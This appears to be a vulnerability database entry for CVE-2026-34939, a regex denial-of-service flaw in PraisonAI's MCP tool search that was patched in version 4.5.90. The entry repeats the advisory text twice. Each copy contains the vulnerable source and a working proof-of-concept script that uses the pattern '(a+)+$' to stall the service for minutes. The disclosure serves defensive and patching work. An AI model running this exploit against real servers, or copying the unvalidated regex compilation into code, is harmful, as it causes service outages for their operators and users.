CVE-2026-34939
highpriority · track · 30EPSS 0.004 · 34 %ileEUUSEPSS · scored 2026-10-27
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.5–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-8w9j-hc3g-3g7fPraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()2026-04-01ghsa · osvUS
### Summary `MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. ### Details `tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re # sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.get_all_tools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool) ``` ### PoC ```python # tested on: praisonai==1.5.87 (source install) # install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server' mcp_dir.mkdir(parents=True, exist_ok=True) (mcp_dir / '_index.json').write_text(json.dumps([ {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"} ])) (mcp_dir / '_status.json').write_text(json.dumps({ "server": "test_server", "available": True, "auth_required": False, "last_sync": time.time(), "tool_count": 1, "error": None })) from praisonai.mcp_server.tool_index import MCPToolIndex index = MCPToolIndex() start = time.monotonic() results = index.search_tools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") # expected output: Returned in 376.0s ``` ### Impact A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
- PYSEC-2026-2907PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()2026-07-13vendor · osvUS
### Summary `MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. ### Details `tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re # sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.get_all_tools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool) ``` ### PoC ```python # tested on: praisonai==1.5.87 (source install) # install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server' mcp_dir.mkdir(parents=True, exist_ok=True) (mcp_dir / '_index.json').write_text(json.dumps([ {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"} ])) (mcp_dir / '_status.json').write_text(json.dumps({ "server": "test_server", "available": True, "auth_required": False, "last_sync": time.time(), "tool_count": 1, "error": None })) from praisonai.mcp_server.tool_index import MCPToolIndex index = MCPToolIndex() start = time.monotonic() results = index.search_tools("(a+)+$") print(f"Returned in {time.monotonic() - start:.1f}s") # expected output: Returned in 376.0s ``` ### Impact A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
- https://github.com/MervinPraison/PraisonAI/releasesPatchcnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7fcnnvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7fenisa_euvd
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7fExploitVendor Advisorynvd
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